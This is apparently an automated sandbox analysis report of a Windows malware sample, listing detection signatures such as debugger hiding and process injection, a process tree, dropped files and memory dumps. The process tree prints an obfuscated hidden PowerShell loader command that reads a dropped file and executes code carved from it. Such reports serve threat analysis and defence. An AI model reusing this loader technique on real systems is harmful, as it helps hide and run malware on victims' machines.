Analysis
- max time kernel
150s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
04/04/2024, 11:22
General
- Target 940a34458e274e227d1e3ab0630f494f6fbe65624561d45eb8d79e4fc3f91023.exe
- Size 647KB
- Sample240404-ngjzysea96
- SHA256 940a34458e274e227d1e3ab0630f494f6fbe65624561d45eb8d79e4fc3f91023
Malware Config
Signatures
- Loads dropped DLL 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\940a34458e274e227d1e3ab0630f494f6fbe65624561d45eb8d79e4fc3f91023.exe"C:\Users\Admin\AppData\Local\Temp\940a34458e274e227d1e3ab0630f494f6fbe65624561d45eb8d79e4fc3f91023.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -windowstyle hidden "$Sexivalency=cat 'C:\Users\Admin\AppData\Local\foderalet\Termometeret\Brintjoners\Smalriflet\Netvrksforbindelsen\Apods\Penetration.Ove';$Udvokset=$Sexivalency.substring(61865,3);.$Udvokset($Sexivalency)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵
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C:\Users\Admin\AppData\Local\Temp\Yendor.exe"C:\Users\Admin\AppData\Local\Temp\Yendor.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Yendor.exe
__PSScriptPolicyTest_dr2t500k.gso.ps1
Penetration.Ove
Hertugeliges.Cap
memory/4548-36-0x0000000007350000-0x00000000078F4000-memory.dmp
memory/4548-40-0x0000000004870000-0x0000000004880000-memory.dmp
memory/4548-18-0x00000000055D0000-0x0000000005636000-memory.dmp
memory/4548-19-0x00000000056B0000-0x0000000005716000-memory.dmp
memory/4548-16-0x0000000004EB0000-0x00000000054D8000-memory.dmp
memory/4548-29-0x0000000005720000-0x0000000005A74000-memory.dmp
memory/4548-30-0x0000000005D50000-0x0000000005D6E000-memory.dmp
memory/4548-31-0x0000000005D70000-0x0000000005DBC000-memory.dmp
memory/4548-32-0x0000000004870000-0x0000000004880000-memory.dmp
memory/4548-33-0x0000000006D00000-0x0000000006D96000-memory.dmp
memory/4548-34-0x0000000006280000-0x000000000629A000-memory.dmp
memory/4548-35-0x00000000062D0000-0x00000000062F2000-memory.dmp
memory/4548-12-0x00000000046F0000-0x0000000004726000-memory.dmp
memory/4548-15-0x0000000004870000-0x0000000004880000-memory.dmp
memory/4548-38-0x0000000007F80000-0x00000000085FA000-memory.dmp
memory/4548-17-0x0000000004CE0000-0x0000000004D02000-memory.dmp
memory/4548-14-0x0000000004870000-0x0000000004880000-memory.dmp
memory/4548-42-0x00000000072D0000-0x00000000072D4000-memory.dmp
memory/4548-43-0x0000000073FE0000-0x0000000074790000-memory.dmp
memory/4548-44-0x0000000004870000-0x0000000004880000-memory.dmp
memory/4548-45-0x0000000004870000-0x0000000004880000-memory.dmp
memory/4548-47-0x0000000004870000-0x0000000004880000-memory.dmp
memory/4548-48-0x0000000008600000-0x000000000D4FC000-memory.dmp
memory/4548-49-0x0000000004870000-0x0000000004880000-memory.dmp
memory/4548-50-0x0000000077961000-0x0000000077A81000-memory.dmp
memory/4548-13-0x0000000073FE0000-0x0000000074790000-memory.dmp
memory/4548-75-0x0000000073FE0000-0x0000000074790000-memory.dmp
memory/5036-55-0x00000000779E8000-0x00000000779E9000-memory.dmp
memory/5036-56-0x0000000077961000-0x0000000077A81000-memory.dmp
memory/5036-69-0x0000000000400000-0x0000000001654000-memory.dmp
memory/5036-53-0x0000000000400000-0x0000000001654000-memory.dmp